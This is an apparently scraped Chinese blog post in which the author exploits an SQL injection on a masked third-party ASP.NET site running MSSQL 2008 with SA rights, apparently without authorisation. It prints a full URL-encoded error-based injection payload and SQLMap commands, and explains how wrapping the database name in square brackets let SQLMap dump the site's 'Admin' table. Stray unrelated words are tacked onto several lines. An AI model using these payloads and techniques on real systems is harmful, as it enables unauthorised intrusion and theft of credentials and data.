某日偶遇一SQLInjection Point,MSSQL 2008,已开启显错模式。
立刻扔进SQLMap跑,一路顺畅,居然仍是SA的权限,心想运气真好,不管如何都拿定了。
数据库,表,列都列出来了,可是上–dump参数就死活跑不出来。
报错 “unable to retrieve the number of entries for table ‘Admin’ in database ‘2012_xxxx’”——x是马赛克哈:)
心想应该很容易搞定,遂查找手工注入方法,测试无果。
仍是回到SQLMap,-h查看帮助,发现-v 参数能够指定输出详细度,开到-v 3,发现显示了payload,一不作二不休,直接开到-v 5,发现提供了整个http请求,怪不得报错,原来都是返回500,用firefox打开完整payload,说是语法错误。sql
Xhttp://www.xxxx.cn/xxx/detail.aspx?id=218%20AND%204416%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28115%29%2BCHAR%28119%29%2BCHAR%28100%29%2BCHAR%28113%29%2B%28SELECT%20ISNULL%28CAST%28COUNT%28*%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20%222012_xxxx%22..syscolumns%2C2012_xxxx..sysobjects%20WHERE%202012_xxxx..syscolumns.id%3D2012_xxxx..sysobjects.id%20AND%202012_xxxx..sysobjects.name%3DCHAR%2884%29%2BCHAR%2866%29%2BCHAR%2895%29%2BCHAR%2865%29%2BCHAR%28100%29%2BCHAR%28109%29%2BCHAR%28105%29%2BCHAR%28110%29%29%2BCHAR%28113%29%2BCHAR%28107%29%2BCHAR%28122%29%2BCHAR%28104%29%2BCHAR%28113%29%29%29

显然是2012的问题,也就是应该是错把库名中的数字错当成参数了数据库
在URL的库名加上双引号包裹,果真就能够爆出数据了。浏览器
问题又来了,要我手工爆数据我可搞不定,仍是要回到SQLMap啊,意思是要想办法把库名包裹起来,不让系统把它解析成一个参数测试
XTEST1: ./sqlmap.py -u http://www.xxxx.cn/xxxx/detail.aspx?id=218 –dump -D”‘2012_xxxx” -T’Admin’
此次好一点了,仍是报错unable to retrieve column names for table ‘Admin’ in database ‘”2012_xxxx”‘,意思是有返回了,可是库名不对。spa
XTEST12 ./sqlmap.py -u http://www.xxxx.cn/broadband/detail.aspx?id=218 –dump -D”[2012_xxxx]” -T’Admin’
我也不记得哪来的灵机一动,改用中括号包裹,果真就成功了,dump出整个表了。firefox
XCONCLUSION:在使用SQLMap时能够使用-v参数指定输出详细度,而后直接用浏览器查看payload,肯定语法错误点后想办法改进。在遇到系统误判库名表名是可用中括号包裹名字。